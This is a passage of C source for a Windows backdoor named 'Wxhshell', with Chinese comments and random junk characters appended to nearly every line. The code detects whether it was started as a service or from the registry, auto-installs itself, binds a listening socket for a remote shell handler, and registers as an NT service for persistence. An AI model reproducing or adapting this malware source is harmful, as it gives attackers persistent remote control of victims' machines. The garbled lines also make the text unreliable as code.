DWORD AffinityMask; %lz \w{
DWORD BasePriority; bs
U$mtW
ULONG UniqueProcessId; 1C+Y|p?KA
ULONG InheritedFromUniqueProcessId; |J2_2a/"
} PROCESS_BASIC_INFORMATION; a*hOT_;#
5%D:wS1
PROCNTQSIP NtQueryInformationProcess; h>= e<H?f
bW<_K9"
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [CBA Lj5
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .Tt \U
x3T)/'(
HANDLE hProcess; ,eOOV@3C
PROCESS_BASIC_INFORMATION pbi; >i~W$;t
`,H\j?
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sLK J<=0i
if(NULL == hInst ) return 0; Gm^@lWzG
EU]{S=T
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H,txbJ
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w/KHS#~
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1g9Qvz3
W%b<(T;
if (!NtQueryInformationProcess) return 0; %1SA!1>j
aq~hl7MTj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8#'<SB
if(!hProcess) return 0; q,VJpqQ
-h^FSW($-R
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;
Tn2Z{.q$
@gENv~m<OI
CloseHandle(hProcess); q7mqzMDk
& S_gNa
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,kuJWaUC@
if(hProcess==NULL) return 0; .Br2^F
+l@H[r;$
HMODULE hMod; B)/X:[
char procName[255]; kW\=Z1\#
unsigned long cbNeeded; ?XL [[vyr
Ya*lq!
u
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lxj_(Uo
nH}api^0A
CloseHandle(hProcess); @!fy24R]D
0#F3@/1h
if(strstr(procName,"services")) return 1; // 以服务启动 *D
#H-]9
A?|KA<&m#u
return 0; // 注册表启动 \+fP&
} VYTdK"%
<F+S }!q
// 主模块 mfFC@~|g
int StartWxhshell(LPSTR lpCmdLine) #9}KC 9f
{ QD]Vfj4+
SOCKET wsl; ma@ws,H
BOOL val=TRUE; <M nzR
int port=0; 6#vD>@H
struct sockaddr_in door; m'Z233Nt"
j]rE0Og
if(wscfg.ws_autoins) Install(); n|lXBCY7K
h'^7xDw
port=atoi(lpCmdLine); 2/=CrK
)`F?{Sg
if(port<=0) port=wscfg.ws_port; #Bj{
4OeV
LdR}v%EH
WSADATA data; Smo^/K`f9
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [%;LZZgl
?VEJk,/k
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 'IP'g,o++
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NZ9=hI;iM
door.sin_family = AF_INET; b')CGqbbmT
door.sin_addr.s_addr = inet_addr("127.0.0.1"); H)tYxW
door.sin_port = htons(port); <%hSBDG!x
bBAZr`<&U
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !FipKX
closesocket(wsl); U4%d#
return 1; GBu&2}
} LD: w
wH
S0/@y'q3en
if(listen(wsl,2) == INVALID_SOCKET) { ]kbmbO?M
closesocket(wsl); rmUTl
return 1; Hq$AF
} ;4 R1
Wxhshell(wsl); X3(:)zUL
WSACleanup(); ()JM161
DF%\1C>
return 0; ,d)!&y
X/lLM`
} i96Pel
xU@YBzbk
// 以NT服务方式启动 tS#EqMf&o
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LkMhS0?(T
{ gsI"G
DWORD status = 0; }XaO~]
DWORD specificError = 0xfffffff; )b"H]"
AnU,2[(
serviceStatus.dwServiceType = SERVICE_WIN32; gQ.yNe
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ~
61?nu
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jU)r~QhN
serviceStatus.dwWin32ExitCode = 0; _zI95
serviceStatus.dwServiceSpecificExitCode = 0; QOlm#S
serviceStatus.dwCheckPoint = 0; "^ydoRZ
serviceStatus.dwWaitHint = 0; H!4!1J.=xw
5xwztcR-
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Vk y~yTL)\
if (hServiceStatusHandle==0) return; UMm<HQ
3qiE#+dC
status = GetLastError(); a-4'jT:
if (status!=NO_ERROR) Ah='E$t
{ +Qt=N6>
serviceStatus.dwCurrentState = SERVICE_STOPPED; O;ZU{VY
serviceStatus.dwCheckPoint = 0; 7]d396%
serviceStatus.dwWaitHint = 0; Yb%H9A
serviceStatus.dwWin32ExitCode = status; j*x8K,fN
serviceStatus.dwServiceSpecificExitCode = specificError; b9)%,3-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); A1{P"p!
return; -_
.f&l8
} bRJYw6oA<
GbwcbfH
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^6#FqK+{u
serviceStatus.dwCheckPoint = 0; S9<J\`FG
serviceStatus.dwWaitHint = 0; \U4O*lq
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VmF?8Vi4
} 6b9D db*
xYc)iH6&
// 处理NT服务事件,比如:启动、停止 - 6;0 x
VOID WINAPI NTServiceHandler(DWORD fdwControl) Z}T<^
F
{ L^KGY<hp4
switch(fdwControl) pM@|P,w {
{ |]RV[S3v
case SERVICE_CONTROL_STOP: /gL(40
serviceStatus.dwWin32ExitCode = 0; 49bzHEqZ
serviceStatus.dwCurrentState = SERVICE_STOPPED; p H5IBIf'
serviceStatus.dwCheckPoint = 0; S+R<wv,6
serviceStatus.dwWaitHint = 0; vpFN{UfD
{ j,80EhZ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hc5M)0d
} &}nU#)IX
return; \OHsCG27
case SERVICE_CONTROL_PAUSE: J<p<